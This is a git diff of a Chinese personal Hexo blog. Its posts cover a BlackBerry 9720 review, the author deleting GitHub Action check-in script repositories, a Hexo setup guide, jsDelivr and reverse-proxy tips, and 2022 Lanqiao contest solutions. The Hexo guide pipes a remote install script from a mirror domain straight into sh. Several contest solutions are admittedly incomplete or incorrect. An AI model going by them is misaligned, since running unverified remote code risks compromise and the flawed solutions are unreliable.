因为我的索爱在8月的时候听筒听不见声音了(平时使用其实没多大问题,主要是打电话……),所以我就换上了这台高一同学给的BB9720

+

让我来总结一下使用体验

+
+

日常使用

先放一张手机桌面

+

日常使用其实跟索爱没啥区别,就是键盘是26键,系统也是BBOS7不是塞班

+

打电话?NP!发短信?NP!索爱能做的它都能做

+

不过跟索爱也有同样的问题:SSL证书不信任

+

这可真是个灾难(背后网站是萌娘百科)

+

访问某些网站,证书比较新的那种,就会出现这个问题……(难受+1)

+

不过其他还是NP的,收邮件这一块我安装了一个LogicMail(主要是因为不能企业激活,毕竟服务商是MTN)

+

LogicMail主界面

+

不过有的时候LogicMail会抽风(指Opening Connection这个步骤会直接失败),就需要一波硬重启(因为黑莓的重启有两种,一种是平常长按电源键关机后开机,那种开机很快,大约10~15s就完成了,另一种是拆电池,这样的重启会长达5分钟,主要是需要加载所有的应用程序),但是我不想每次都拔电池,所以我用了一个QuickPull来硬重启

+

QuickPulllllllllllllllllllllllllll!!!

+
+

耗能体验

总的来说,如果一天重度使用(指经常浏览网页,看视频等),连半天都撑不过去(毕竟是旧手机)

+

不过按照我的使用习惯,两天一充还是可以的,不过充电速度有点……

+

激泪的充电速度

+

电池只有2000mAh,只能说还行

+
+

娱乐体验

微信

一句话:完 全 不 能 用!!!

+

微信好像已经被腾讯放弃了(事实也是如此,QQ同理),一直在这里转圈

+

BBOS7的微信

+

看片

只能看720P以下的视频,只支持主流的格式(不包括FLV)

+

看不玩不活零

+

一定要下载好,不过体验还行:D

+

听歌

听Brain Power

+
+

O-oooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA

+
+

也是要下载好,不过可以听FLAC就好评(索爱不行)

+

文档

英语作文练习

+

就很NICE,索爱不能看文档,BlackBerry除了可以看docx还能看pptx、xlsx、pdf,就很舒服

+

游戏

我就装了个2048(益智游戏)

+

2048菜鸡分数

+

软件体验

有独立的软件商店,可以安装软件,但是我不知道怎么从第三方安装软件

+

软件商店

+

已购列表

+

但是有点问题就是,免费软件有广告,会推送到邮件客户端里面(不是LogicMail,是内置的那个邮件客户端)

+

垃圾广告

+
+

总结

总的来说,BlackBerry9720给我的体验还算不错,反正就剩下一年了,拿来临时用一用还是可以的

+
+

题外话

界面是英文是因为中文字体看不惯才换的,并不是只有英文

+

月考考完了,芜湖起飞!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary8/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/diary9/index.html b/posts/diary9/index.html new file mode 100644 index 0000000000..c6d91fd01e --- /dev/null +++ b/posts/diary9/index.html @@ -0,0 +1,326 @@ +日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事 | GamerNoTitle + + + + + + + + + + + + + + +

日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事

+

本文直接从我个人的讨论区复制过来的,图片是GithubUserContent域名下的,加载可能有点慢

+

原链接:关于得知Github查封Action仓库的信息后我自行删除脚本的这档事 #2

+
+

关于得知Github查封Action仓库的信息后我自行删除脚本的这档事(不要以为随便起个标题就是长标题了呀喂(#`O′))

+

昨天(2021.5.19)收到别人在我的网站下留言是这么说的:
image
鉴于这位之前发过mcbbs的账号给我,所以我迅速就取得了联系(邮件上),然后得到了下面的消息(直链):
imageimage

+

我也是非常震惊,本来打算第二天(2021.5.20)把所有仓库删了的(因为临近高考没带智能手机),但是正巧,晚上有同学来找我拷毕业照拍摄当天的照片,所以我就借了一台手机把我的源码备份了然后全部删除了

+

这就是我删除了我的仓库的原因,按道理,所有的Fork会变成Origin类型的仓库(即源仓库,搜索是能检索到的),但是实际上当我检索我的两个仓库的时候就发现,220+的wyycg-autocheckin只有 个搜索结果,而另一个有120+的bilibiliJudge只有2个搜索结果
image
image

+

说明Github这波是真的行动了,可能是我行动比较早,所以目前没受到封号

+

有的人可能会问:如果我把仓库调成私有呢?
结果是:虽然私有仓库GItHub官方”不能”看到你的内容和Action的详细记录,但是发现了异常他们也可以提权处理
image

+

至于那些没有提供Action的运行方式的而是云函数的那些,也遭到了不同程度的后果
image
image

+

那如果我配布到Gitee呢?
事实上,Gitee的功能并没有Github那么好用,而且就个人而言我比较讨厌Gitee,所以我应该是不会配布到Gitee的
image

+

总而言之,这一次的时间对于整个脚本界都是一次灾难,我们从来没有想过Github会清理脚本类型的仓库。对我来说,因为行动比较早所以没有受到严重的影响,但是我近期应该不会再致力于脚本的开发工作了,临近高考压力也比较大。等高考完网易云那个应该会做成云函数版在Github重新配布(会配Action文件但是如果要启用的话需要自己挪入对应的位置),B站那个嘛,看情况而论。

+
+

题外话:
虽然我每次都把三个Badges丢在脚本的开头,但是实际上没有任何一个人给我赞助(o(╥﹏╥)o)
前往爱发电赞助 使用微信赞助 使用支付宝赞助

+

有的时候我在想:做脚本是否是一件正确的事情,
之前我的B站仲裁脚本只是开了个坑(建了个仓库并写了个README),就有别人来支持我了,到现在我们两个还保持着联系。他经常发我一下风纪委员会的总结专栏下面的评论:
image
image

+

我们在做/使用脚本的过程中是否侵犯了其他用户的利益,我觉得这是值得我们脚本开发者和使用者深思的事情。反正我近期不会再开发脚本了(一部分是高考,一部分是现在在做Koikatu的卡牌,不懂得自己搜)

+

如果你有什么建议/意见,可以在这个Discussion下面留言,看到必回。就这样(^o^)/

+
+

2021/5/22 更新

今天回家后发现本人小号有两个仓库已经中招了
image
image
image

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary9/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/hexo-deploy-guide/index.html b/posts/hexo-deploy-guide/index.html new file mode 100644 index 0000000000..2ccab508d1 --- /dev/null +++ b/posts/hexo-deploy-guide/index.html @@ -0,0 +1,445 @@ +最全面的Hexo部署方法,交给你了~ | GamerNoTitle + + + + + + + + + + + + + + + +

最全面的Hexo部署方法,交给你了~

温馨提示:推荐点击左下角箭头打开目录,方便你更好地找到内容!

+

开始

什么是Hexo?

(我不多BB了,去看官网吧,介绍什么的真的不适合我……)

+

如何安装?

准备工作

你需要的东西有:

+

一个带有Page服务的仓库(推荐Github,Coding)

+

一台电脑(Windows或Linux均可,差别不大)

+

最后就是耐心(这个过程可能会很枯燥的说~)

+
前期准备
安装Node.js

安装 Node.js 的最佳方式是使用 nvm。nvm 的开发者提供了一个自动安装 nvm 的简单脚本:

+Curl: +
$ curl -o- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
+wget: + +
$ wget -qO- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
+安装完成后,重启终端并执行下列命令即可安装 Node.js。 + +
$ nvm install stable
+
Windows 用户

对于windows用户来说,建议使用安装程序进行安装。安装时,请勾选Add to PATH选项。
另外,您也可以使用Git Bash,这是git for windows自带的一组程序,提供了Linux风格的shell,在该环境下,您可以直接用上面提到的命令来安装Node.js。打开它的方法很简单,在任意位置单击右键,选择“Git Bash Here”即可。由于Hexo的很多操作都涉及到命令行,您可以考虑始终使用Git Bash来进行操作。

+
+ +
Linux 用户

大部分 Linux 发行版都会在它们的默认软件包仓库中分发 Node.js。第三方仓库 NodeSource 通常能分发最新版本的 Node.js。

+
+ +
可选操作:

由于众所周知的原因,使用npm进行安装速度十分缓慢。也可以参考这个页面,利用国内镜像安装npm模块。

+
+ + +
安装Git

Windows:下载并安装 git.
Mac:使用 Homebrew, MacPorts :brew install git;或下载 安装程序 安装。
Linux (Ubuntu, Debian):sudo apt-get install git-core
Linux (Fedora, Red Hat, CentOS):sudo yum install git-core

+
Windows 用户

由于众所周知的原因,从上面的链接下载git for windows最好挂上一个代理,否则下载速度十分缓慢。也可以参考这个页面,收录了存储于百度云的下载地址。

+
+ + +
安装Hexo

当你确定你已经安装完了Node.js和Git,就可以使用npm安装hexo了,使用

+
1
$ npm install -g hexo-cli
+ +

或(安装了cnpm国内镜像的情况下,下面所有的npm命令均可换为cnpm命令,下面不再说明

+
1
$ cnpm install -g hexo-cli
+ + + +
初始化Hexo文件夹

在你认为合适的地方新建一个文件夹,文件夹名字自拟,然后使用

+
1
$ hexo init
+ +

来初始化你的文件夹(文件夹必须是空的),并且使用

+
1
$ npm install
+ + + +

来安装相关的依赖库!

+

初始化库和安装依赖

+

配置网站

当你安装完所有的依赖以后,你就可以配置你的网站。

+

你也可以使用

+
1
$ hexo s
+ +

来进行本地调试,在浏览器中输入localhost:4000进入自己的网站。

+

关于hexo目录下的_config.yml文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Site
title: <title> #自己的网页名字,将在标签页标题中显示为<title> - <subtitle>
subtitle: <subtitle> #副标题,在标签页标题显示
description: <descr> #网页描述(讲真我不知道有啥用)
keywords: <keywords> #网页搜索关键词
author: <author> #网页作者
language: en #网页语言,若主题支持中文可以不用改
timezone: #时区,可以不改

# URL
## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/'
url: http://yoursite.com #网页网址,一般填写主页的地址,例如我的网页就填http://bili33.top
root: / #网站根目录,可以不改
permalink: :year/:month/:day/:title/ #网页永久链接格式,可以自己修改
permalink_defaults:
+ +

关于主题:

+

主题可以去https://hexo.io/themes/找,也可以在github逛一逛,说不定就找到好主题了呢?

+
1
2
3
4
# Extensions
## Plugins: https://hexo.io/plugins/
## Themes: https://hexo.io/themes/
theme: landscape # 主题名字,landscape是默认主题,改成你的主题文件夹的名字即可!
+ +

在clone的时候建议用git clone .address> theme/.theme name> 这样方便管理~

+

关于主题的配置,详情请见各主题说明文档!

+

部署网站

在准备东西的时候,我们准备了一个github(或coding)账号,下面以github为例子

+

在Github中新建一个仓库,仓库名自拟,也可以采用官方格式.username>.github.io,一定要设为公开仓库(有Github Pro的当我没说)

+

然后回到你的hexo文件夹,打开命令窗口,输入

+
1
$ npm install hexo-deployer-git --save
+ +

来安装git的部署器,其他部署器请看这里

+

打开_config.yml,拉到最底下,会发现有个Deployment,你可以按照我下面这么填写

+
1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo address> # 请替换为你的仓库地址!
branch: master
+ +

填写完成后,保存即可,然后打开命令窗口,使用

+
1
2
3
$ hexo clean #不是必要的
$ hexo generate
$ hexo deploy
+ +

来部署你的网站,其中generate可以简写为g,deploy可以简写为d,如果觉得打两行命令太麻烦,可以使用

+
1
$ hexo d -g
+ +

一条命令来直接部署,省去不必要的麻烦。

+

你也可以同时部署多个仓库,例如

+
1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo1 address>,master # 请替换为你的仓库地址!
repo: <repo2 address>,master # 请替换为你的仓库地址!
+ +

这样编写的话一次部署,两边的仓库都会上传~

+

部署完成后,请到你的Github仓库的设置中,找到Github Pages,将source选到master branch来打开Pages服务!

+

撰写文章

你可以使用

+
1
$ hexo new "<article name>"
+ +

来创建一篇文章,它会出现在source/_posts中,是一个.md文件,使用md编辑器打开(推荐Typora)编辑即可,支持markdownhtml语法

+

小技巧

添加自定义域名

每次部署hexo都会清除你的库并且重新部署,这意味着如果你在Github的设置中添加自定义域名(会生成CNAME文件)每次都会被清除,为了避免这种麻烦,我们可以使用在source文件夹里新建CNAME文件

+

CNAME文件

+

并且在CNAME文件中填写你的域名

+

CNAME

+

这样就可以避免每次部署都清除掉自定义域名,导致网站404了~

+

自定义404页面

你可以在/themes/.themes name>/source中放置你的404页面,当你的网站页面不存在的时候,就会显示404页面,可以引用css文件和js文件,只要跟404页面放在同一目录即可!

+

404

+

如何直接看到404呢?你可以直接在网站后面加上/404就可以进入404页面了~

+

添加看板娘(live2d)

你是否也想像我一样领养一只猫呢?或者领养一只~

+

回归正题,我们要怎么领养一只萌萌哒看板娘呢?当然还是要用到插件的说~

+

先安装插件hexo-helper-live2d

+
1
$ npm install hexo-helper-live2d --save
+ +

等待安装完后,在你的网站根目录的_config.yml中加入(可以直接复制粘贴)

+
1
2
3
4
5
6
7
8
9
10
11
12
#hexo-helper-live2d
live2d:
enable: true #是否开启显示
pluginModelPath: assets/
model:
use: live2d-widget-model-tororo #模板目录,在node_modules里
display:
position: right
width: 150
height: 300
mobile:
show: false #是否在手机进行显示
+ +

然后,找到你喜欢的模型进行安装,并把model的use属性的文本改成你安装的看板娘的文件夹名字(在node_modules里面)即可!

+

这样你就可以像我一样领养一只萌萌哒看板娘了~

+

搜索引擎站点认证

当你提交站点到搜索引擎的时候,免不了的就是认证你的站点。当然,认证方式有很多种,例如什么把标记放在.head>./head>之间啦,什么文件认证啊之类的,太多了

+

当然最方便的就是文件认证了,下载一个文件到本地,然后传到你的网站上面。

+

有的人就会问了,文件要放在哪里呢?

+

其实有两个地方都可以放,一个是根目录的source文件夹,另一个就是主题里面的source文件夹,都可以放,放在这两个文件夹的根目录即可!

+

添加站点地图

当你想让你的网站被Google或者Baidu什么的收录的时候,你就需要用到站点地图。

+

使用以下命令安装站点地图插件

+
1
2
$ npm install hexo-generator-baidu-sitemap --save #安装Baidu的站点地图,为Baidu优化过的
$ npm install hexo-generator-sitemap --save
+ +

然后打开网站根目录的_config.yml文件,加入以下条目:

+
1
2
3
4
5
6
7
8
Plugins:
- hexo-generator-baidu-sitemap
- hexo-generator-sitemap

baidusitemap:
path: baidusitemap.xml
sitemap:
path: sitemap.xml
+ +

这样每次部署就会生成一个baidusitemap.xml和一个sitemap.xml文件,用于提交站点地图

+

这里以google为例子描述怎么添加站点地图

+

当你的网站提交到Google后,为了点击量高,我们会提交站点地图,在左边的栏目中选择站点地图,然后在上面”添加新的站点地图”中填写.Your Link>/sitemap.xml即可,Google会定期收集你的站点,并且展示在搜索结果上

+

Google Webmaster

+

Google Search Result

+

添加RSS订阅

虽然我不知道这年头谁还用RSS,但是有好过没有嘛

+

先打开命令窗口,然后输入命令安装插件

+
1
$ npm install hexo-generator-feed --save
+ +

安装完成后,在网站的根目录中的_config.yml中,加入以下内容

+
1
2
3
4
5
6
7
8
#RSS订阅
plugin:
- hexo-generator-feed
#Feed Atom
feed:
type: atom
path: atom.xml #RSS文件名字,可自定义
limit: 20
+ +

当你加入RSS订阅按钮的时候,就可以设置链接到你的/atom.xml文件(RSS文件名字改过的当我没说),这样当别人点击你的RSS按钮时,就会弹出订阅提醒,让别人订阅你的网站。

+

按钮调用邮件应用

如果你想让别人联系你,那么最方便的方式就是通过电子邮件了。如何才能让别人点击链接或者按钮直接调用邮件应用发邮件给你呢?实例

+

在文章中,可以使用这样的编写格式

+
1
[<Text>](mailto:<Email Address>)
+ +

这样当别人点击.Text>的时候,就会调用电子邮件应用,同样如果是按钮的话,只需要将按钮的链接设为

+
1
mailto:<Email Address>
+ +

即可调用电子邮件程序!

+

结尾

Hexo的教程我就写了这么多,可能有些没写到的或者我没想到的,有可能在将来会偶尔更新一下这篇文章,当然,如果你有什么问题,欢迎发邮件到admin@bili33.top来与我探讨,我非常欢迎!如果你想与我交换友链,请到友情链接网页的评论区留言,我有时间会看评论的.商业网站勿扰哦~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/hexo-deploy-guide/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/jsDelivr-Usage/index.html b/posts/jsDelivr-Usage/index.html new file mode 100644 index 0000000000..733eb08fa6 --- /dev/null +++ b/posts/jsDelivr-Usage/index.html @@ -0,0 +1,354 @@ +jsDelivr的正确打开方式 | GamerNoTitle + + + + + + + + + + + + + + +

jsDelivr的正确打开方式

文章已经在2020.4.5更新

+
+ +

开始持续高产前几天开始,github的raw文件下载域名raw.githubusercontent.com被墙了,导致我的网站很多图片都是404(因为我是直接使用github的文件),我转为使用cloudflare的workers反代。但是反代有每日10W次的请求次数限制。万一以后我的网站访问量增大了呢?这样岂不是不够用?(在想Peach)

+

没错,我在想もも

+

今天早上我才在【日常吐槽04】的评论区里面说不会用jsDelivr,到了晚上,嗯,真香……

+

jsDelivr

+

jsDelivr是一个比较好的CDN平台,官方号称jsDelivr – Open Source CDN free, fast, and reliable,简单来说就是开源的CDN,免费、快、可靠这样的

+

不过确实,这玩意的口碑也挺好,那我就按照我半天的使用体验,来说说这玩意的正确打开方式吧

+
+

你需要准备:

一个github账号

+

开始操作

你需要登录你的Github,创建一个你想用来放文件的仓库,然后在这个仓库里面上传你的文件,像我这样

+

上传文件后的仓库

+

然后点击Release,新建一个版本,在上面的小方框里面填写你的版本号,尽量填写数字,例如1.0之类的,不要用中文!!!

+

新建Release

+

接着直接调用jsDelivr,例如我在名为Picture-repo的仓库发布了1.0版本,那么我访问链接:

+

https://cdn.bili33.top/gh/Vikutorika/assets@master/AboutMe/logo-mini.png

+

就可以直接调用我的头像,按照官方的格式,就是

+

https://cdn.jsdelivr.net/gh/<username>/<repo-name>@<version>/<path>

+

的样子,解释一下:

+

<username>就改成自己的名字,<repo-name>改成自己的仓库名字,<version>就是你的release版本,如果不填会自动选择最新的release<path>改成自己的文件路径。当我上传的时候我的文件夹路径是.\folder\example.png的话,那么<path>就要改成folder/example.png

+

但是请注意!当你的release包大于50MB,那么jsdelivr会给你报错并且不给你提供加速服务,例如下面这条链接:

+

https://cdn.jsdelivr.net/gh/NotFoundNEKKO/Storage@1.0/表情包/真叫人质壁分离.jpg

+

点开就会发现提示:

+

Package size exceeded the configured limit of 50 MB. Try https://github.com/NotFoundNEKKO/Storage/tree/1.0/表情包/真叫人质壁分离.jpg instead.

+

所以说还是要尽量减少自己每个release的大小,如果说太大了建议分成几个仓库放哦~

+

从群友那里学来的:当你的版本号写为master时,只需要第一次发布release即可,后面直接用master分支的文件,也没有50MB的文件包大小限制

+
+ +
+

2020.4.5 更新:Github Page法

+ +

根据评论区@Anonymous的回复,发现有另外一种方式也能够访问Github中的文件(而且还是raw)

+

我们还是以上面那个仓库为例子,先到仓库中的设置,打开Github Pages服务

+

打开Github Pages服务

+

然后我们可以看到Github将我的这个仓库的page服务部署到了https://bili33.top/Picture-repo/这个链接

+

我们尝试访问仓库中的文件

+

在这里我访问的是我的网站头图↓

+

网站头图(以Page方式加载)

+

可以看到,的确是可以进行访问的。而如果在Github Pages服务中开启自定义域名的话,还能够配合CloudFlare的CDN进行一波加(jian)

+

+
+

题外话:

+

但是还是有人要直接访问raw.githubusercontent.com域名,所以我在这里开放出我的反代

+

当你访问了域名为raw.githubusercontent.com的文件后(后面应该有一大串的文件路径链接),把它改成下面任意一个域名

+

反代1:cdn.bili33.top(每日请求上限较少,因为我的反代都在这里)

+

反代2:bilicdn.tk(推荐)

+

希望能够帮到大家吧~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/jsDelivr-Usage/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/lanqiao-2022-province/index.html b/posts/lanqiao-2022-province/index.html new file mode 100644 index 0000000000..0dc7790463 --- /dev/null +++ b/posts/lanqiao-2022-province/index.html @@ -0,0 +1,455 @@ +蓝桥杯2022年B组省赛 —— 个人题解 | GamerNoTitle + + + + + + + + + + + + +

蓝桥杯2022年B组省赛 —— 个人题解

+

这篇是后来补发的,过了老久才想起来我的蓝桥杯题解还没发出来,所以这里补一份

+
+

试题 A: 排列字母

本题总分:5 分

+
    +
  • 【问题描述】 小蓝要把一个字符串中的字母按其在字母表中的顺序排列。 例如,LANQIAO 排列后为 AAILNOQ。 又如,GOODGOODSTUDYDAYDAYUP 排列后为 AADDDDDGGOOOOPSTUUYYY 。 请问对于以下字符串,排列之后字符串是什么? WHERETHEREISAWILLTHEREISAWAY
  • +
  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个由大写字母组成的字符串,在提交答案时只填写这个字符串,填写多余的内 容将无法得分。
  • +
+
1
2
3
# 忘存代码了
print('I forgot to save the code...')

+ +

试题 B: 寻找整数

本题总分:5 分

+
    +
  • 【问题描述】 有一个不超过 1017 的正整数 n,知道这个数除以 2 至 49 后的余数如下表 所示,求这个正整数最小是多少。

    +
  • +
  • +
  • +
  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个整数,在提交答案时只填写这个整数,填写多余的内容将无法得分。

    +
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
equal = True
result = False
mods = {
2: 1,
3: 2,
4: 1,
5: 4,
6: 5,
7: 4,
8: 1,
9: 2,
10: 9,
11: 0,
12: 5,
13: 10,
14: 11,
15: 14,
16: 9,
17: 0,
18: 11,
19: 18,
20: 9,
21: 11,
22: 11,
23: 15,
24: 17,
25: 9,
26: 23,
27: 20,
28: 25,
29: 16,
30: 29,
31: 27,
32: 25,
33: 11,
34: 17,
35: 4,
36: 29,
37: 22,
38: 37,
39: 23,
40: 9,
41: 1,
42: 11,
43: 11,
44: 33,
45: 29,
46: 15,
47: 5,
48: 41,
49: 46
}
i = 1
while i <= 10**17:
i *= 11
equal = True
for j in range(2,50):
if i % j != mods[j]:
print(f'{i} % {j} = {i%j} != {mods[j]}')
equal = False
break
if equal:
num = i
break
if equal: print(f'result: {num}')
else: print('No Result')

+ +

试题 C: 纸张尺寸

    +
  • 时间限制:1.0s

    +
  • +
  • 内存限制:512.0MB

    +
  • +
  • 本题总分:10分

    +
  • +
  • 【问题描述】
    在ISO国际标准中定义了A0纸张的大小为1189mm×841mm,将A0纸沿长边对折后为A1纸,大小为841mm×5mm,在对折的过程中长度直接取下整(实际裁剪时可能有损耗)。将A1纸沿长边对折后为A2纸,依此类推。输入纸张的名称,请输出纸张的大小。

    +
  • +
  • 【输入格式】
    输入一行包含一个字符串表示纸张的名称,该名称一定是A3、A4、A5、A6、A7、A8、A9之一

    +
  • +
  • 【输出格式】
    输出两行,每行包含一个整数,依次表示长边和短边的长度。

    +
  • +
  • 【样例输入1】
    A0

    +
  • +
  • 【样例输出1】
    1189
    841

    +
  • +
  • 【样例输入2】
    A1

    +
  • +
  • 【样例输出2】
    841
    594

    +
  • +
+
1
2
3
4
5
6
7
8
9
10
11
line = 1189
col = 841
size = input()
times = int(size[1:])
print(times)
for i in range(times):
if line >= col: line = line // 2
else: col = col // 2
print(max([line,col]))
print(min([line,col]))

+ +

试题 D: 数位排序

    +
  • 时间限制:1.0s
  • +
  • 内存限制:512MB
  • +
  • 本题总分:10分
  • +
  • 【问题描述】
    小蓝对一个数的数位之和很感兴趣,今天他要按照数位之和给数排序。当两个数各个数位之和不同时,将数位和较小的排在前而,当数位之和相等时,将数值小的排在前。例如,2022排在409前面,因为2022的数位之和是6,小于409的数位之和13。
    又如,6排在2022前,因为它们的数位之和相同,而6小于2022。
    给定正整数n,m,请问对1到n采用这种方法排序时,排在第m个的元素是多少?
  • +
  • 【输入格式】
    输入第一行包含一个正整数n。第二行包含一个正整数m。
  • +
  • 【输出格式】
    输出一行包含一个整数,表示答案。
  • +
  • 【样例输入】
    13
    5
  • +
  • 【样例输出】
    3
  • +
  • 【样例说明】
    1 到 13 的排序为:1, 10, 2, 11, 3, 12, 4, 13, 5, 6, 7, 8, 9。第 5 个数为 3。
  • +
  • 【评测用例规模与约定】
    对于 30% 的评测用例,1 ≤ m ≤ n ≤ 300。 对于 50% 的评测用例,1 ≤ m ≤ n ≤ 1000。 对于所有评测用例,1 ≤ m ≤ n ≤ 106。
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
maxnum = int(input())
pos = int(input())

def summary(num):
length = len(str(num))
s = 0
for i in str(num):
s += int(i)
return s
nums = []
for i in range(1,maxnum+1):
nums.append((i,summary(i)))
nums.sort(key=lambda s: s[0])
nums.sort(key=lambda s: s[1])
print(nums[pos-1][0])

+ +

试题 E: 蜂巢

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:15 分
  • +
  • 【问题描述】
    蜂巢由大量的六边形拼接而成,定义蜂巢中的方向为:0 表示正西方向,1表示西偏北 60◦,2 表示东偏北 60◦,3 表示正东,4 表示东偏南 60◦,5 表示西
    偏南 60◦。对于给定的一点 O,我们以 O 为原点定义坐标系,如果一个点 A 由 O 点先向 d 方向走 p 步再向 (d + 2) mod 6 方向(d 的顺时针 120◦ 方向)走 q 步到达,则这个点的坐标定义为 (d, p, q)。在蜂窝中,一个点的坐标可能有多种。下图给出了点 B(0, 5, 3) 和点 C(2, 3, 2) 的示意。

    给定点 (d1, p1, q1) 和点 (d2, p2, q2),请问他们之间最少走多少步可以到达?
  • +
  • 【输入格式】
    输入一行包含 6 个整数 d1, p1, q1, d2, p2, q2 表示两个点的坐标,相邻两个整数之间使用一个空格分隔。
  • +
  • 【输出格式】
    输出一行包含一个整数表示两点之间最少走多少步可以到达。
  • +
  • 【样例输入】
    0 5 3 2 3 2
  • +
  • 【样例输出】
    7
  • +
  • 【评测用例规模与约定】
    对于 25% 的评测用例,p1, p2 ≤ 103 ;
    对于 50% 的评测用例,p1, p2 ≤ 105 ;
    对于 75% 的评测用例,p1, p2 ≤ 107 ;
    对于所有评测用例,0 ≤ d1, d2 ≤ 5,0 ≤ q1 < p1 ≤ 109,0 ≤ q2 < p2 ≤ 109 。
  • +
+
1
print('没做出来……')
+ +

试题 F: 消除游戏

    +
  • 时间限制: 3.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:15 分
  • +
  • 【问题描述】 在一个字符串 S 中,如果 S i = S i−1 且 S i , S i+1 ,则称 S i 和 S i+1 为边缘字符。如果 S i , S i−1 且 S i = S i+1,则 S i−1 和 S i 也称为边缘字符。其它的字符都不是边缘字符。 对于一个给定的串 S,一次操作可以一次性删除该串中的所有边缘字符 (操作后可能产生新的边缘字符)。 请问经过 2 64 次操作后,字符串 S 变成了怎样的字符串,如果结果为空则 输出 EMPTY。
  • +
  • 【输入格式】
    输入一行包含一个字符串 S 。
  • +
  • 【输出格式】
    输出一行包含一个字符串表示答案,如果结果为空则输出 EMPTY。
  • +
  • 【样例输入 1】
    edda
  • +
  • 【样例输出 1】
    EMPTY
  • +
  • 【样例输入 2】
    sdfhhhhcvhhxcxnnnnshh
  • +
  • 【样例输出 2】
    s
  • +
  • 【评测用例规模与约定】
    对于 25% 的评测用例,|S | ≤ 103 ,其中 |S | 表示 S 的长度;
    对于 50% 的评测用例,|S | ≤ 104 ;
    对于 75% 的评测用例,|S | ≤ 105 ;
    对于所有评测用例,|S | ≤ 106,S 中仅含小写字母。
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
s = input()
times = 2**64
mark = 'F'*len(s)
nextS = ''
empty = False
NoOperation = True
for time in range(times):
if s == '':
empty = True
break
for i in range(len(s)):
if i == (len(s)-1): continue
if s[i] == s[i+1] and s[i] != s[i-1]: # 与右边相同与左边不同
NoOperation = False
mark = mark[:i-1] + 'TT' + mark[i+1:]
elif s[i] == s[i-1] and s[i] != s[i+1]: # 与左边相同与右边不同
NoOperation = False
mark = mark[:i] + 'TT' + mark[i+2:]
if NoOperation: break
for i in range(len(mark)):
if mark[i] == 'F':
nextS += s[i]
s = nextS
nextS = ''
mark = 'F'*len(s)
NoOperation = True
if empty:
print('EMPTY')
else:
print(s)

+ +

试题 G: 全排列的价值

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:20 分
  • +
  • 【问题描述】
    对于一个排列 A = (a1, a2, · · · , an),定义价值 ci 为 a1 至 ai−1 中小于 ai 的数 的个数,即 bi = |{aj | j < i, aj < ai}|。定义 A 的价值为 ∑n i=1 ci。 给定 n,求 1 至 n 的全排列中所有排列的价值之和。
  • +
  • 【输入格式】
    输入一行包含一个整数 n 。
  • +
  • 【输出格式】
    输出一行包含一个整数表示答案,由于所有排列的价值之和可能很大,请输出这个数除以 998244353 的余数。
  • +
  • 【样例输入 1】
    3
  • +
  • 【样例输出 1】
    9
  • +
  • 【样例输入 2】
    2022
  • +
  • 【样例输出 2】
    593300958
  • +
  • 【样例说明】
    1 至 3 构成的所有排列的价值如下:
    (1, 2, 3) : 0 + 1 + 2 = 3 ;
    (1, 3, 2) : 0 + 1 + 1 = 2 ;
    (2, 1, 3) : 0 + 0 + 2 = 2 ;
    (2, 3, 1) : 0 + 1 + 0 = 1 ;
    (3, 1, 2) : 0 + 0 + 1 = 1 ;
    (3, 2, 1) : 0 + 0 + 0 = 0 ;
    故总和为 3 + 2 + 2 + 1 + 1 = 9。
  • +
  • 【评测用例规模与约定】
    对于 40% 的评测用例,n ≤ 20 ;
    对于 70% 的评测用例,n ≤ 5000 ;
    对于所有评测用例,2 ≤ n ≤ 106 。
  • +
+
+

这题没做完

+
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from itertools import permutations

n = int(input())
summary = 0

ls = list(range(1,n+1))
MaxPermutations = []
for i in permutations(ls):
lesscount = 0
for j in i:
for k in range(i.index(j),len(i)):
if j < i[k]: lesscount += 1
summary += lesscount
mods = summary % 998244353
print(mods)
